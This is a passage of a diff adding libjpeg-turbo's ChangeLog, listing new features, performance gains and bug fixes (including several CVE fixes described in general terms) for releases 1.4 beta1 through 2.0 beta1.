`tjLoadImage()` and `tjSaveImage()` functions +would produce a "Bogus message code" error message if the underlying bitmap and +PPM readers/writers threw an error that was specific to the readers/writers +(as opposed to a general libjpeg API error.) + +4. Fixed an issue (CVE-2018-1152) whereby a specially-crafted malformed BMP +file, one in which the header specified an image width of 1073741824 pixels, +would trigger a floating point exception (division by zero) in the +`tjLoadImage()` function when attempting to load the BMP file into a +4-component image buffer. + +5. Fixed an issue whereby certain combinations of calls to +`jpeg_skip_scanlines()` and `jpeg_read_scanlines()` could trigger an infinite +loop when decompressing progressive JPEG images that use vertical chroma +subsampling (for instance, 4:2:0 or 4:4:0.) + +6. Fixed a segfault in `jpeg_skip_scanlines()` that occurred when decompressing +a 4:2:2 or 4:2:0 JPEG image using the merged (non-fancy) upsampling algorithms +(that is, when setting `cinfo.do_fancy_upsampling` to `FALSE`.) + +7. The new CMake-based build system will now disable the MIPS DSPr2 SIMD +extensions if it detects that the compiler does not support DSPr2 instructions. + +8. Fixed out-of-bounds read in cjpeg (CVE-2018-14498) that occurred when +attempting to compress a specially-crafted malformed color-index +(8-bit-per-sample) BMP file in which some of the samples (color indices) +exceeded the bounds of the BMP file's color table. + +9. Fixed a signed integer overflow in the progressive Huffman decoder, detected +by the Clang and GCC undefined behavior sanitizers, that could be triggered by +attempting to decompress a specially-crafted malformed JPEG image. This issue +did not pose a security threat, but removing the warning made it easier to +detect actual security issues, should they arise in the future. + + +1.5.90 (2.0 beta1) +================== + +### Significant changes relative to 1.5.3: + +1. Added AVX2 SIMD implementations of the colorspace conversion, chroma +downsampling and upsampling, integer quantization and sample conversion, and +accurate integer DCT/IDCT algorithms. When using the accurate integer DCT/IDCT +algorithms on AVX2-equipped CPUs, the compression of RGB images is +approximately 13-36% (avg. 22%) faster (relative to libjpeg-turbo 1.5.x) with +64-bit code and 11-21% (avg. 17%) faster with 32-bit code, and the +decompression of RGB images is approximately 9-35% (avg. 17%) faster with +64-bit code and 7-17% (avg. 12%) faster with 32-bit code. (As tested on a +3 GHz Intel Core i7. Actual mileage may vary.) + +2. Overhauled the build system to use CMake on all platforms, and removed the +autotools-based build system. This decision resulted from extensive +discussions within the libjpeg-turbo community. libjpeg-turbo traditionally +used CMake only for Windows builds, but there was an increasing amount of +demand to extend CMake support to other platforms. However, because of the +unique nature of our code base (the need to support different assemblers on +each platform, the need for Java support, etc.), providing dual build systems +as other OSS imaging libraries do (including libpng and libtiff) would have +created a maintenance burden. The use of CMake greatly simplifies some aspects +of our build system, owing to CMake's built-in support for various assemblers, +Java, and unit testing, as well as generally fewer quirks that have to be +worked around in order to implement our packaging system. Eliminating +autotools puts our project slightly at odds with the traditional practices of +the OSS community, since most "system libraries" tend to be built with +autotools, but it is believed that the benefits of this move outweigh the +risks. In addition to providing a unified build environment, switching to +CMake allows for the use of various build tools and IDEs that aren't supported +under autotools, including XCode, Ninja, and Eclipse. It also eliminates the +need to install autotools via MacPorts/Homebrew on OS X and allows +libjpeg-turbo to be configured without the use of a terminal/command prompt. +Extensive testing was conducted to ensure that all features provided by the +autotools-based build system are provided by the new build system. + +3. The libjpeg API in this version of libjpeg-turbo now includes two additional +functions, `jpeg_read_icc_profile()` and `jpeg_write_icc_profile()`, that can +be used to extract ICC profile data from a JPEG file while decompressing or to +embed ICC profile data in a JPEG file while compressing or transforming. This +eliminates the need for downstream projects, such as color management libraries +and browsers, to include their own glueware for accomplishing this. + +4. Improved error handling in the TurboJPEG API library: + + - Introduced a new function (`tjGetErrorStr2()`) in the TurboJPEG C API +that allows compression/decompression/transform error messages to be retrieved +in a thread-safe manner. Retrieving error messages from global functions, such +as `tjInitCompress()` or `tjBufSize()`, is still thread-unsafe, but since those +functions will only throw errors if passed an invalid argument or if a memory +allocation failure occurs, thread safety is not as much of a concern. + - Introduced a new function (`tjGetErrorCode()`) in the TurboJPEG C API +and a new method (`TJException.getErrorCode()`) in the TurboJPEG Java API that +can be used to determine the severity of the last +compression/decompression/transform error. This allows applications to +choose whether to ignore warnings (non-fatal errors) from the underlying +libjpeg API or to treat them as fatal. + - Introduced a new flag (`TJFLAG_STOPONWARNING` in the TurboJPEG C API and +`TJ.FLAG_STOPONWARNING` in the TurboJPEG Java API) that causes the library to +immediately halt a compression/decompression/transform operation if it +encounters a warning from the underlying libjpeg API (the default behavior is +to allow the operation to complete unless a fatal error is encountered.) + +5. Introduced a new flag in the TurboJPEG C and Java APIs (`TJFLAG_PROGRESSIVE` +and `TJ.FLAG_PROGRESSIVE`, respectively) that causes compression and transform +operations to generate progressive JPEG images. Additionally, a new transform +option (`TJXOPT_PROGRESSIVE` in the C API and `TJTransform.OPT_PROGRESSIVE` in +the Java API) has been introduced, allowing progressive JPEG images to be +generated by selected transforms in a multi-transform operation. + +6. Introduced a new transform option in the TurboJPEG API (`TJXOPT_COPYNONE` in +the C API and `TJTransform.OPT_COPYNONE` in the Java API) that allows the +copying of markers (including Exif and ICC profile data) to be disabled for a +particular transform. + +7. Added two functions to the TurboJPEG C API (`tjLoadImage()` and +`tjSaveImage()`) that can be used to load/save a BMP or PPM/PGM image to/from a +memory buffer with a specified pixel format and layout. These functions +replace the project-private (and slow) bmp API, which was previously used by +TJBench, and they also provide a convenient way for first-time users of +libjpeg-turbo to quickly develop a complete JPEG compression/decompression +program. + +8. The TurboJPEG C API now includes a new convenience array (`tjAlphaOffset[]`) +that contains the alpha component index for each pixel format (or -1 if the +pixel format lacks an alpha component.) The TurboJPEG Java API now includes a +new method (`TJ.getAlphaOffset()`) that returns the same value. In addition, +the `tjRedOffset[]`, `tjGreenOffset[]`, and `tjBlueOffset[]` arrays-- and the +corresponding `TJ.getRedOffset()`, `TJ.getGreenOffset()`, and +`TJ.getBlueOffset()` methods-- now return -1 for `TJPF_GRAY`/`TJ.PF_GRAY` +rather than 0. This allows programs to easily determine whether a pixel format +has red, green, blue, and alpha components. + +9. Added a new example (tjexample.c) that demonstrates the basic usage of the +TurboJPEG C API. This example mirrors the functionality of TJExample.java. +Both files are now included in the libjpeg-turbo documentation. + +10. Fixed two signed integer overflows in the arithmetic decoder, detected by +the Clang undefined behavior sanitizer, that could be triggered by attempting +to decompress a specially-crafted malformed JPEG image. These issues did not +pose a security threat, but removing the warnings makes it easier to detect +actual security issues, should they arise in the future. + +11. Fixed a bug in the merged 4:2:0 upsampling/dithered RGB565 color conversion +algorithm that caused incorrect dithering in the output image. This algorithm +now produces bitwise-identical results to the unmerged algorithms. + +12. The SIMD function symbols for x86[-64]/ELF, MIPS/ELF, macOS/x86[-64] (if +libjpeg-turbo is built with Yasm), and iOS/Arm[64] builds are now private. +This prevents those symbols from being exposed in applications or shared +libraries that link statically with libjpeg-turbo. + +13. Added Loongson MMI SIMD implementations of the RGB-to-YCbCr and +YCbCr-to-RGB colorspace conversion, 4:2:0 chroma downsampling, 4:2:0 fancy +chroma upsampling, integer quantization, and accurate integer DCT/IDCT +algorithms. When using the accurate integer DCT/IDCT, this speeds up the +compression of RGB images by approximately 70-100% and the decompression of RGB +images by approximately 2-3.5x. + +14. Fixed a build error when building with older MinGW releases (regression +caused by 1.5.1[7].) + +15. Added SIMD acceleration for progressive Huffman encoding on SSE2-capable +x86 and x86-64 platforms. This speeds up the compression of full-color +progressive JPEGs by about 85-90% on average (relative to libjpeg-turbo 1.5.x) +when using modern Intel and AMD CPUs. + + +1.5.3 +===== + +### Significant changes relative to 1.5.2: + +1. Fixed a NullPointerException in the TurboJPEG Java wrapper that occurred +when using the YUVImage constructor that creates an instance backed by separate +image planes and allocates memory for the image planes. + +2. Fixed an issue whereby the Java version of TJUnitTest would fail when +testing BufferedImage encoding/decoding on big endian systems. + +3. Fixed a segfault in djpeg that would occur if an output format other than +PPM/PGM was selected along with the `-crop` option. The `-crop` option now +works with the GIF and Targa formats as well (unfortunately, it cannot be made +to work with the BMP and RLE formats due to the fact that those output engines +write scanlines in bottom-up order.) djpeg will now exit gracefully if an +output format other than PPM/PGM, GIF, or Targa is selected along with the +`-crop` option. + +4. Fixed an issue (CVE-2017-15232) whereby `jpeg_skip_scanlines()` would +segfault if color quantization was enabled. + +5. TJBench (both C and Java versions) will now display usage information if any +command-line argument is unrecognized. This prevents the program from silently +ignoring typos. + +6. Fixed an access violation in tjbench.exe (Windows) that occurred when the +program was used to decompress an existing JPEG image. + +7. Fixed an ArrayIndexOutOfBoundsException in the TJExample Java program that +occurred when attempting to decompress a JPEG image that had been compressed +with 4:1:1 chrominance subsampling. + +8. Fixed an issue whereby, when using `jpeg_skip_scanlines()` to skip to the +end of a single-scan (non-progressive) image, subsequent calls to +`jpeg_consume_input()` would return `JPEG_SUSPENDED` rather than +`JPEG_REACHED_EOI`. + +9. `jpeg_crop_scanline()` now works correctly when decompressing grayscale JPEG +images that were compressed with a sampling factor other than 1 (for instance, +with `cjpeg -grayscale -sample 2x2`). + + +1.5.2 +===== + +### Significant changes relative to 1.5.1: + +1. Fixed a regression introduced by 1.5.1[7] that prevented libjpeg-turbo from +building with Android NDK platforms prior to android-21 (5.0). + +2. Fixed a regression introduced by 1.5.1[1] that prevented the MIPS DSPR2 SIMD +code in libjpeg-turbo from building. + +3. Fixed a regression introduced by 1.5 beta1[11] that prevented the Java +version of TJBench from outputting any reference images (the `-nowrite` switch +was accidentally enabled by default.) + +4. libjpeg-turbo should now build and run with full AltiVec SIMD acceleration +on PowerPC-based AmigaOS 4 and OpenBSD systems. + +5. Fixed build and runtime errors on Windows that occurred when building +libjpeg-turbo with libjpeg v7 API/ABI emulation and the in-memory +source/destination managers. Due to an oversight, the `jpeg_skip_scanlines()` +and `jpeg_crop_scanline()` functions were not being included in jpeg7.dll when +libjpeg-turbo was built with `-DWITH_JPEG7=1` and `-DWITH_MEMSRCDST=1`. + +6. Fixed "Bogus virtual array access" error that occurred when using the +lossless crop feature in jpegtran or the TurboJPEG API, if libjpeg-turbo was +built with libjpeg v7 API/ABI emulation. This was apparently a long-standing +bug that has existed since the introduction of libjpeg v7/v8 API/ABI emulation +in libjpeg-turbo v1.1. + +7. The lossless transform features in jpegtran and the TurboJPEG API will now +always attempt to adjust the Exif image width and height tags if the image size +changed as a result of the transform. This behavior has always existed when +using libjpeg v8 API/ABI emulation. It was supposed to be available with +libjpeg v7 API/ABI emulation as well but did not work properly due to a bug. +Furthermore, there was never any good reason not to enable it with libjpeg v6b +API/ABI emulation, since the behavior is entirely internal. Note that +`-copy all` must be passed to jpegtran in order to transfer the Exif tags from +the source image to the destination image. + +8. Fixed several memory leaks in the TurboJPEG API library that could occur +if the library was built with certain compilers and optimization levels +(known to occur with GCC 4.x and clang with `-O1` and higher but not with +GCC 5.x or 6.x) and one of the underlying libjpeg API functions threw an error +after a TurboJPEG API function allocated a local buffer. + +9. The libjpeg-turbo memory manager will now honor the `max_memory_to_use` +structure member in jpeg\_memory\_mgr, which can be set to the maximum amount +of memory (in bytes) that libjpeg-turbo should use during decompression or +multi-pass (including progressive) compression. This limit can also be set +using the `JPEGMEM` environment variable or using the `-maxmemory` switch in +cjpeg/djpeg/jpegtran (refer to the respective man pages for more details.) +This has been a documented feature of libjpeg since v5, but the +`malloc()`/`free()` implementation of the memory manager (jmemnobs.c) never +implemented the feature. Restricting libjpeg-turbo's memory usage is useful +for two reasons: it allows testers to more easily work around the 2 GB limit +in libFuzzer, and it allows developers of security-sensitive applications to +more easily defend against one of the progressive JPEG exploits (LJT-01-004) +identified in +[this report](https://libjpeg-turbo.org/pmwiki/uploads/About/TwoIssueswiththeJPEGStandard.pdf). + +10. TJBench will now run each benchmark for 1 second prior to starting the +timer, in order to improve the consistency of the results. Furthermore, the +`-warmup` option is now used to specify the amount of warmup time rather than +the number of warmup iterations. + +11. Fixed an error (`short jump is out of range`) that occurred when assembling +the 32-bit x86 SIMD extensions with NASM versions prior to 2.04. This was a +regression introduced by 1.5 beta1[12]. + + +1.5.1 +===== + +### Significant changes relative to 1.5.0: + +1. Previously, the undocumented `JSIMD_FORCE*` environment variables could be +used to force-enable a particular SIMD instruction set if multiple instruction +sets were available on a particular platform. On x86 platforms, where CPU +feature detection is bulletproof and multiple SIMD instruction sets are +available, it makes sense for those environment variables to allow forcing the +use of an instruction set only if that instruction set is available. However, +since the ARM implementations of libjpeg-turbo can only use one SIMD +instruction set, and since their feature detection code is less bulletproof +(parsing /proc/cpuinfo), it makes sense for the `JSIMD_FORCENEON` environment +variable to bypass the feature detection code and really force the use of NEON +instructions. A new environment variable (`JSIMD_FORCEDSPR2`) was introduced +in the MIPS implementation for the same reasons, and the existing +`JSIMD_FORCENONE` environment variable was extended to that implementation. +These environment variables provide a workaround for those attempting to test +ARM and MIPS builds of libjpeg-turbo in QEMU, which passes through +/proc/cpuinfo from the host system. + +2. libjpeg-turbo previously assumed that AltiVec instructions were always +available on PowerPC platforms, which led to "illegal instruction" errors when +running on PowerPC chips that lack AltiVec support (such as the older 7xx/G3 +and newer e5500 series.) libjpeg-turbo now examines /proc/cpuinfo on +Linux/Android systems and enables AltiVec instructions only if the CPU supports +them. It also now provides two environment variables, `JSIMD_FORCEALTIVEC` and +`JSIMD_FORCENONE`, to force-enable and force-disable AltiVec instructions in +environments where /proc/cpuinfo is an unreliable means of CPU feature +detection (such as when running in QEMU.) On OS X, libjpeg-turbo continues to +assume that AltiVec support is always available, which means that libjpeg-turbo +cannot be used with G3 Macs unless you set the environment variable +`JSIMD_FORCENONE` to `1`. + +3. Fixed an issue whereby 64-bit ARM (AArch64) builds of libjpeg-turbo would +crash when built with recent releases of the Clang/LLVM compiler. This was +caused by an ABI conformance issue in some of libjpeg-turbo's 64-bit NEON SIMD +routines. Those routines were incorrectly using 64-bit instructions to +transfer a 32-bit JDIMENSION argument, whereas the ABI allows the upper +(unused) 32 bits of a 32-bit argument's register to be undefined. The new +Clang/LLVM optimizer uses load combining to transfer multiple adjacent 32-bit +structure members into a single 64-bit register, and this exposed the ABI +conformance issue. + +4. Fancy upsampling is now supported when decompressing JPEG images that use +4:4:0 (h1v2) chroma subsampling. These images are generated when losslessly +rotating or transposing JPEG images that use 4:2:2 (h2v1) chroma subsampling. +The h1v2 fancy upsampling algorithm is not currently SIMD-accelerated. + +5. If merged upsampling isn't SIMD-accelerated but YCbCr-to-RGB conversion is, +then libjpeg-turbo will now disable merged upsampling when decompressing YCbCr +JPEG images into RGB or extended RGB output images. This significantly speeds +up the decompression of 4:2:0 and 4:2:2 JPEGs on ARM platforms if fancy +upsampling is not used (for example, if the `-nosmooth` option to djpeg is +specified.) + +6. The TurboJPEG API will now decompress 4:2:2 and 4:4:0 JPEG images with +2x2 luminance sampling factors and 2x1 or 1x2 chrominance sampling factors. +This is a non-standard way of specifying 2x subsampling (normally 4:2:2 JPEGs +have 2x1 luminance and 1x1 chrominance sampling factors, and 4:4:0 JPEGs have +1x2 luminance and 1x1 chrominance sampling factors), but the JPEG format and +the libjpeg API both allow it. + +7. Fixed an unsigned integer overflow in the libjpeg memory manager, detected +by the Clang undefined behavior sanitizer, that could be triggered by +attempting to decompress a specially-crafted malformed JPEG image. This issue +affected only 32-bit code and did not pose a security threat, but removing the +warning makes it easier to detect actual security issues, should they arise in +the future. + +8. Fixed additional negative left shifts and other issues reported by the GCC +and Clang undefined behavior sanitizers when attempting to decompress +specially-crafted malformed JPEG images. None of these issues posed a security +threat, but removing the warnings makes it easier to detect actual security +issues, should they arise in the future. + +9. Fixed an out-of-bounds array reference, introduced by 1.4.90[2] (partial +image decompression) and detected by the Clang undefined behavior sanitizer, +that could be triggered by a specially-crafted malformed JPEG image with more +than four components. Because the out-of-bounds reference was still within the +same structure, it was not known to pose a security threat, but removing the +warning makes it easier to detect actual security issues, should they arise in +the future. + +10. Fixed another ABI conformance issue in the 64-bit ARM (AArch64) NEON SIMD +code. Some of the routines were incorrectly reading and storing data below the +stack pointer, which caused segfaults in certain applications under specific +circumstances. + + +1.5.0 +===== + +### Significant changes relative to 1.5 beta1: + +1. Fixed an issue whereby a malformed motion-JPEG frame could cause the "fast +path" of libjpeg-turbo's Huffman decoder to read from uninitialized memory. + +2. Added libjpeg-turbo version and build information to the global string table +of the libjpeg and TurboJPEG API libraries. This is a common practice in other +infrastructure libraries, such as OpenSSL and libpng, because it makes it easy +to examine an application binary and determine which version of the library the +application was linked against. + +3. Fixed a couple of issues in the PPM reader that would cause buffer overruns +in cjpeg if one of the values in a binary PPM/PGM input file exceeded the +maximum value defined in the file's header and that maximum value was greater +than 255. libjpeg-turbo 1.4.2 already included a similar fix for ASCII PPM/PGM +files. Note that these issues were not security bugs, since they were confined +to the cjpeg program and did not affect any of the libjpeg-turbo libraries. + +4. Fixed an issue whereby attempting to decompress a JPEG file with a corrupt +header using the `tjDecompressToYUV2()` function would cause the function to +abort without returning an error and, under certain circumstances, corrupt the +stack. This only occurred if `tjDecompressToYUV2()` was called prior to +calling `tjDecompressHeader3()`, or if the return value from +`tjDecompressHeader3()` was ignored (both cases represent incorrect usage of +the TurboJPEG API.) + +5. Fixed an issue in the ARM 32-bit SIMD-accelerated Huffman encoder that +prevented the code from assembling properly with clang. + +6. The `jpeg_stdio_src()`, `jpeg_mem_src()`, `jpeg_stdio_dest()`, and +`jpeg_mem_dest()` functions in the libjpeg API will now throw an error if a +source/destination manager has already been assigned to the compress or +decompress object by a different function or by the calling program. This +prevents these functions from attempting to reuse a source/destination manager +structure that was allocated elsewhere, because there is no way to ensure that +it would be big enough to accommodate the new source/destination manager. + + +1.4.90 (1.5 beta1) +================== + +### Significant changes relative to 1.4.2: + +1. Added full SIMD acceleration for PowerPC platforms using AltiVec VMX +(128-bit SIMD) instructions. Although the performance of libjpeg-turbo on +PowerPC was already good, due to the increased number of registers available +to the compiler vs. x86, it was still possible to speed up compression by about +3-4x and decompression by about 2-2.5x (relative to libjpeg v6b) through the +use of AltiVec instructions. + +2. Added two new libjpeg API functions (`jpeg_skip_scanlines()` and +`jpeg_crop_scanline()`) that can be used to partially decode a JPEG image. See +[libjpeg.txt](doc/libjpeg.txt) for more details. + +3. The TJCompressor and TJDecompressor classes in the TurboJPEG Java API now +implement the Closeable interface, so those classes can be used with a +try-with-resources statement. + +4. The TurboJPEG Java classes now throw unchecked idiomatic exceptions +(IllegalArgumentException, IllegalStateException) for unrecoverable errors +caused by incorrect API usage, and those classes throw a new checked exception +type (TJException) for errors that are passed through from the C library. + +5. Source buffers for the TurboJPEG C API functions, as well as the +`jpeg_mem_src()` function in the libjpeg API, are now declared as const +pointers. This facilitates passing read-only buffers to those functions and +ensures the caller that the source buffer will not be modified. This should +not create any backward API or ABI incompatibilities with prior libjpeg-turbo +releases. + +6. The MIPS DSPr2 SIMD code can now be compiled to support either FR=0 or FR=1 +FPUs. + +7. Fixed additional negative left shifts and other issues reported by the GCC +and Clang undefined behavior sanitizers. Most of these issues affected only +32-bit code, and none of them was known to pose a security threat, but removing +the warnings makes it easier to detect actual security issues, should they +arise in the future. + +8. Removed the unnecessary `.arch` directive from the ARM64 NEON SIMD code. +This directive was preventing the code from assembling using the clang +integrated assembler. + +9. Fixed a regression caused by 1.4.1[6] that prevented 32-bit and 64-bit +libjpeg-turbo RPMs from being installed simultaneously on recent Red Hat/Fedora +distributions. This was due to the addition of a macro in jconfig.h that +allows the Huffman codec to determine the word size at compile time. Since +that macro differs between 32-bit and 64-bit builds, this caused a conflict +between the i386 and x86_64 RPMs (any differing files, other than executables, +are not allowed when 32-bit and 64-bit RPMs are installed simultaneously.) +Since the macro is used only internally, it has been moved into jconfigint.h. + +10. The x86-64 SIMD code can now be disabled at run time by setting the +`JSIMD_FORCENONE` environment variable to `1` (the other SIMD implementations +already had this capability.) + +11. Added a new command-line argument to TJBench (`-nowrite`) that prevents the +benchmark from outputting any images. This removes any potential operating +system overhead that might be caused by lazy writes to disk and thus improves +the consistency of the performance measurements. + +12. Added SIMD acceleration for Huffman encoding on SSE2-capable x86 and x86-64 +platforms. This speeds up the compression of full-color JPEGs by about 10-15% +on average (relative to libjpeg-turbo 1.4.x) when using modern Intel and AMD +CPUs. Additionally, this works around an issue in the clang optimizer that +prevents it (as of this writing) from achieving the same performance as GCC +when compiling the C version of the Huffman encoder +(). For the purposes of +benchmarking or regression testing, SIMD-accelerated Huffman encoding can be +disabled by setting the `JSIMD_NOHUFFENC` environment variable to `1`. + +13. Added ARM 64-bit (ARMv8) NEON SIMD implementations of the commonly-used +compression algorithms (including the accurate integer forward DCT and h2v2 & +h2v1 downsampling algorithms, which are not accelerated in the 32-bit NEON +implementation.) This speeds up the compression of full-color JPEGs by about +75% on average on a Cavium ThunderX processor and by about 2-2.5x on average on +Cortex-A53 and Cortex-A57 cores. + +14. Added SIMD acceleration for Huffman encoding on NEON-capable ARM 32-bit +and 64-bit platforms. + + For 32-bit code, this speeds up the compression of full-color JPEGs by +about 30% on average on a typical iOS device (iPhone 4S, Cortex-A9) and by +about 6-7% on average on a typical Android device (Nexus 5X, Cortex-A53 and +Cortex-A57), relative to libjpeg-turbo 1.4.x. Note that the larger speedup +under iOS is due to the fact that iOS builds use LLVM, which does not optimize +the C Huffman encoder as well as GCC does. + + For 64-bit code, NEON-accelerated Huffman encoding speeds up the +compression of full-color JPEGs by about 40% on average on a typical iOS device +(iPhone 5S, Apple A7) and by about 7-8% on average on a typical Android device +(Nexus 5X, Cortex-A53 and Cortex-A57), in addition to the speedup described in +[13] above. + + For the purposes of benchmarking or regression testing, SIMD-accelerated +Huffman encoding can be disabled by setting the `JSIMD_NOHUFFENC` environment +variable to `1`. + +15. pkg-config (.pc) scripts are now included for both the libjpeg and +TurboJPEG API libraries on Un*x systems. Note that if a project's build system +relies on these scripts, then it will not be possible to build that project +with libjpeg or with a prior version of libjpeg-turbo. + +16. Optimized the ARM 64-bit (ARMv8) NEON SIMD decompression routines to +improve performance on CPUs with in-order pipelines. This speeds up the +decompression of full-color JPEGs by nearly 2x on average on a Cavium ThunderX +processor and by about 15% on average on a Cortex-A53 core. + +17. Fixed an issue in the accelerated Huffman decoder that could have caused +the decoder to read past the end of the input buffer when a malformed, +specially-crafted JPEG image was being decompressed. In prior versions of +libjpeg-turbo, the accelerated Huffman decoder was invoked (in most cases) only +if there were > 128 bytes of data in the input buffer. However, it is possible +to construct a JPEG image in which a single Huffman block is over 430 bytes +long, so this version of libjpeg-turbo activates the accelerated Huffman +decoder only if there are > 512 bytes of data in the input buffer. + +18. Fixed a memory leak in tjunittest encountered when running the program +with the `-yuv` option. + + +1.4.2 +===== + +### Significant changes relative to 1.4.1: + +1. Fixed an issue whereby cjpeg would segfault if a Windows bitmap with a +negative width or height was used as an input image (Windows bitmaps can have +a negative height if they are stored in top-down order, but such files are +rare and not supported by libjpeg-turbo.) + +2. Fixed an issue whereby, under certain circumstances, libjpeg-turbo would +incorrectly encode certain JPEG images when quality=100 and the fast integer +forward DCT were used. This was known to cause `make test` to fail when the +library was built with `-march=haswell` on x86 systems. + +3. Fixed an issue whereby libjpeg-turbo would crash when built with the latest +& greatest development version of the Clang/LLVM compiler. This was caused by +an x86-64 ABI conformance issue in some of libjpeg-turbo's 64-bit SSE2 SIMD +routines. Those routines were incorrectly using a 64-bit `mov` instruction to +transfer a 32-bit JDIMENSION argument, whereas the x86-64 ABI allows the upper +(unused) 32 bits of a 32-bit argument's register to be undefined. The new +Clang/LLVM optimizer uses load combining to transfer multiple adjacent 32-bit +structure members into a single 64-bit register, and this exposed the ABI +conformance issue. + +4. Fixed a bug in the MIPS DSPr2 4:2:0 "plain" (non-fancy and non-merged) +upsampling routine that caused a buffer overflow (and subsequent segfault) when +decompressing a 4:2:0 JPEG image whose scaled output width was less than 16 +pixels. The "plain" upsampling routines are normally only used when +decompressing a non-YCbCr JPEG image, but they are also used when decompressing +a JPEG image whose scaled output height is 1. + +5. Fixed various negative left shifts and other issues reported by the GCC and +Clang undefined behavior sanitizers. None of these was known to pose a +security threat, but removing the warnings makes it easier to detect actual +security issues, should they arise in the future. + + +1.4.1 +===== + +### Significant changes relative to 1.4.0: + +1. tjbench now properly handles CMYK/YCCK JPEG files. Passing an argument of +`-cmyk` (instead of, for instance, `-rgb`) will cause tjbench to internally +convert the source bitmap to CMYK prior to compression, to generate YCCK JPEG +files, and to internally convert the decompressed CMYK pixels back to RGB after +decompression (the latter is done automatically if a CMYK or YCCK JPEG is +passed to tjbench as a source image.) The CMYK<->RGB conversion operation is +not benchmarked. NOTE: The quick & dirty CMYK<->RGB conversions that tjbench +uses are suitable for testing only. Proper conversion between CMYK and RGB +requires a color management system. + +2. `make test` now performs additional bitwise regression tests using tjbench, +mainly for the purpose of testing compression from/decompression to a subregion +of a larger image buffer. + +3. `make test` no longer tests the regression of the floating point DCT/IDCT +by default, since the results of those tests can vary if the algorithms in +question are not implemented using SIMD instructions on a particular platform. +See the comments in [Makefile.am](Makefile.am) for information on how to +re-enable the tests and to specify an expected result for them based on the +particulars of your platform. + +4. The NULL color conversion routines have been significantly optimized, +which speeds up the compression of RGB and CMYK JPEGs by 5-20% when using +64-bit code and 0-3% when using 32-bit code, and the decompression of those +images by 10-30% when using 64-bit code and 3-12% when using 32-bit code. + +5. Fixed an "illegal instruction" error that occurred when djpeg from a +SIMD-enabled libjpeg-turbo MIPS build was executed with the `-nosmooth` option +on a MIPS machine that lacked DSPr2 support. The MIPS SIMD routines for h2v1 +and h2v2 merged upsampling were not properly checking for the existence of +DSPr2. + +6. Performance has been improved significantly on 64-bit non-Linux and +non-Windows platforms (generally 10-20% faster compression and 5-10% faster +decompression.) Due to an oversight, the 64-bit version of the accelerated +Huffman codec was not being compiled in when libjpeg-turbo was built on +platforms other than Windows or Linux. Oops. + +7. Fixed an extremely rare bug in the Huffman encoder that caused 64-bit +builds of libjpeg-turbo to incorrectly encode a few specific test images when +quality=98, an optimized Huffman table, and the accurate integer forward DCT +were used. + +8. The Windows (CMake) build system now supports building only static or only +shared libraries. This is accomplished by adding either `-DENABLE_STATIC=0` or +`-DENABLE_SHARED=0` to the CMake command line. + +9. TurboJPEG API functions will now return an error code if a warning is +triggered in the underlying libjpeg API. For instance, if a JPEG file is +corrupt, the TurboJPEG decompression functions will attempt to decompress +as much of the image as possible, but those functions will now return -1 to +indicate that the decompression was not entirely successful. + +10. Fixed a bug in the MIPS DSPr2 4:2:2 fancy upsampling routine that caused a +buffer overflow (and subsequent segfault) when decompressing a 4:2:2 JPEG image +in which the right-most MCU was 5 or 6 pixels wide. + + +1.4.0 +===== + +### Significant changes relative to 1.4 beta1: + +1. Fixed a build issue on OS X PowerPC platforms (md5cmp failed to build +because OS X does not provide the `le32toh()` and `htole32()` functions.) + +2. The non-SIMD RGB565 color conversion code did not work correctly on big +endian machines. This has been fixed. + +3. Fixed an issue in `tjPlaneSizeYUV()` whereby it would erroneously return 1 +instead of -1 if `componentID` was > 0 and `subsamp` was `TJSAMP_GRAY`. + +3. Fixed an issue in `tjBufSizeYUV2()` whereby it would erroneously return 0 +instead of -1 if `width` was < 1. + +5. The Huffman encoder now uses `clz` and `bsr` instructions for bit counting +on ARM64 platforms (see 1.4 beta1[5].) + +6. The `close()` method in the TJCompressor and TJDecompressor Java classes is +now idempotent. Previously, that method would call the native `tjDestroy()` +function even if the TurboJPEG instance had already been destroyed. This +caused an exception to be thrown during finalization, if the `close()` method +had already been called. The exception was caught, but it was still an +expensive operation. + +7. The TurboJPEG API previously generated an error (`Could not determine +subsampling type for JPEG image`) when attempting to decompress grayscale JPEG +images that were compressed with a sampling factor other than 1 (for instance, +with `cjpeg -grayscale -sample 2x2`). Subsampling technically has no meaning +with grayscale JPEGs, and thus the horizontal and vertical sampling factors +for such images are ignored by the decompressor. However, the TurboJPEG API +was being too rigid and was expecting the sampling factors to be equal to 1 +before it treated the image as a grayscale JPEG. + +8. cjpeg, djpeg, and jpegtran now accept an argument of `-version`, which will +print the library version and exit. + +9. Referring to 1.4 beta1[15], another extremely rare circumstance was +discovered under which the Huffman encoder's local buffer can be overrun +when a buffered destination manager is being used and an +extremely-high-frequency block (basically junk image data) is being encoded. +Even though the Huffman local buffer was increased from 128 bytes to 136 bytes +to address the previous issue, the new issue caused even the larger buffer to +be overrun. Further analysis reveals that, in the absolute worst case (such as +setting alternating AC coefficients to 32767 and -32768 in the JPEG scanning +order), the Huffman encoder can produce encoded blocks that approach double the +size of the unencoded blocks. Thus, the Huffman local buffer was increased to +256 bytes, which should prevent any such issue from re-occurring in the future. + +10. The new `tjPlaneSizeYUV()`, `tjPlaneWidth()`, and `tjPlaneHeight()` +functions were not actually usable on any platform except OS X and Windows, +because those functions were not included in the libturbojpeg mapfile. This +has been fixed. + +11. Restored the `JPP()`, `JMETHOD()`, and `FAR` macros in the libjpeg-turbo +header files. The `JPP()` and `JMETHOD()` macros were originally implemented +in libjpeg as a way of supporting non-ANSI compilers that lacked support for +prototype parameters. libjpeg-turbo has never supported such compilers, but +some software packages still use the macros to define their own prototypes. +Similarly, libjpeg-turbo has never supported MS-DOS and other platforms that +have far symbols, but some software packages still use the `FAR` macro. A +pretty good argument can be made that this is a bad practice on the part of the +software in question, but since this affects more than one package, it's just +easier to fix it here. + +12. Fixed issues that were preventing the ARM 64-bit SIMD code from compiling +for iOS, and included an ARMv8 architecture in all of the binaries installed by +the "official" libjpeg-turbo SDK for OS X. + + +1.3.90 (1.4 beta1) +================== + +### Significant changes relative to 1.3.1: + +1. New features in the TurboJPEG API: + + - YUV planar images can now be generated with an arbitrary line padding +(previously only 4-byte padding, which was compatible with X Video, was +supported.) + - The decompress-to-YUV function has been extended to support image +scaling. + - JPEG images can now be compressed from YUV planar source images. + - YUV planar images can now be decoded into RGB or grayscale images. + - 4:1:1 subsampling is now supported. This is mainly included for +compatibility, since 4:1:1 is not fully accelerated in libjpeg-turbo and has no +significant advantages relative to 4:2:0. + - CMYK images are now supported. This feature allows CMYK source images +to be compressed to YCCK JPEGs and YCCK 